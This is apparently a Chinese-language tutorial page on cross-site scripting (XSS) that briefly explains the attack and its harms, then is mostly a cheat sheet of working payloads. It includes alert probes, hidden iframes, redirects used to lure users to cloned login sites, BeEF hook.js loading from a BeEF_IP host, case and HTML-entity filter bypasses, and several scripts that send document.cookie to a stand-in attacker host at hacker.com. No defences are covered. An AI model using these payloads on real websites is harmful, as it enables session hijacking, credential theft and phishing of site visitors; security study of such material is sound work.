1. 程式人生 > 實用技巧 >XSS攻擊

XSS攻擊

介紹

  1. 跨站指令碼(cross site script)為了避免與樣式css混淆,所以簡稱為XSS。
  2. XSS是一種經常出現在web應用中的電腦保安漏洞,也是web中最主流的攻擊方式。那麼什麼是XSS呢?
  3. XSS是指惡意攻擊者利用網站沒有對使用者提交資料進行轉義處理或者過濾不足的缺點,進而新增一些程式碼,嵌入到web頁 面中去。使別的使用者訪問都會執行相應的嵌入程式碼。
  4. 從而盜取使用者資料、利用使用者身份進行某種動作或者對訪問者進行病毒侵害的一種攻擊方式。

XSS攻擊的危害包括:

1、盜取各類使用者帳號,如機器登入帳號、使用者網銀帳號、各類管理員帳號
2、控制企業資料,包括讀取、篡改、新增、刪除企業敏感資料的能力
3、盜竊企業重要的具有商業價值的資料
4、非法轉賬
5、強制傳送電子郵件
6、網站掛馬
7、控制受害者機器向其它網站發起攻擊

分類:

  • 反射型
  • 儲存型

構造XSS指令碼

常用html標籤

標籤 簡介
<iframe> iframe 元素會建立包含另外一個文件的內聯框架(即行內框架)。
<textarea> textarea 標籤定義多行的文字輸入控制元件。
<img> img 元素向網頁中嵌入一幅影象。
<script> script 標籤用於定義客戶端指令碼,比如 JavaScript。script 元素既可以包含指令碼語句,也可以通過 src 屬性指向外部指令碼檔案。必需的 type 屬性規定指令碼的 MIME 型別。JavaScript 的常見應用時影象操作、表單驗證以及動態內容更新。

常用JavaScript方法

方法 簡介
alert alert() 方法用於顯示帶有一條指定訊息和一個 確認 按鈕的警告框
window.location window.location 物件用於獲得當前頁面的地址 (URL),並把瀏覽器重定向到新的頁面。
location.href 返回當前顯示的文件的完整 URL
onload 一張頁面或一幅影象完成載入
onsubmit 確認按鈕被點選
onerror 在載入文件或影象時發生錯誤

構造XSS指令碼

彈窗警告

此指令碼實現彈框提示,一般作為漏洞測試或者演示使用,類似SQL注入漏洞測試中的單引號', 一旦此指令碼能執行,也就意 味著後端伺服器沒有對特殊字元做過濾<>/' 這樣就可以證明,這個頁面位置存在了XSS漏洞。

<script>alert('xss')</script>
<script>alert(document.cookie)</script>

頁面巢狀

<iframe src=http://www.baidu.com width=300 height=300></iframe>
<iframe src=http://www.baidu.com width=0 height=0 border=0></iframe>

頁面重定向

<script>window.location="http://www.qfedu.com"</script>
<script>location.href="http://www.baidu.com"</script>

彈框警告並重定向

這裡結合了一些社工的思路,例如,通過網站內部私信的方式將其發給其他使用者。如果其他使用者點選並且相信了這個信 息,則可能在另外的站點重新登入賬戶(克隆網站收集賬戶)

<script>alert("請移步到我們的新站");location.href="http://www.qfedu.com"</script>
<script>alert('xss');location.href="http://10.1.64.35/mutillidae/robots.txt"</script>

訪問惡意程式碼

<script src="http://www.qfedu.com/xss.js"></script>
<script src="http://BeEF_IP:3000/hook.js"></script> #結合BeEF收集使用者的cookie

巧用圖片標籤

<img src="#" onerror=alert('xss')>
<img src="javascript:alert('xss');">
<img src="http://BeEF_IP:3000/hook.js"></img>

繞開過濾的指令碼

大小寫

<ScrIpt>alert('xss')</SCRipt>

字元編碼 採用URL、Base64等編碼

<a
href="&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116
;&#40;&#34;&#120;&#115;&#115;&#34;&#41;">yangge</a>

收集使用者cookie

開啟新視窗並且採用本地cookie訪問目標網頁,開啟新視窗並且採用本地cookie訪問目標網頁。

<script>window.open("http://www.hacker.com/cookie.php?cookie="+document.cookie)</script>
<script>document.location="http://www.hacker.com/cookie.php?cookie="+document.cookie</script>
<script>new Image().src="http://www.hacker.com/cookie.php?cookie="+document.cookie;</script>
<img src="http://www.hacker.com/cookie.php?cookie='+document.cookie"></img>
<iframe src="http://www.hacker.com/cookie.php?cookie='+document.cookie"></iframe>
<script>new Image().src="http://www.hacker.com/cookie.php?cookie='+document.cookie";
img.width = 0;
img.height = 0;
</script>

攻擊導圖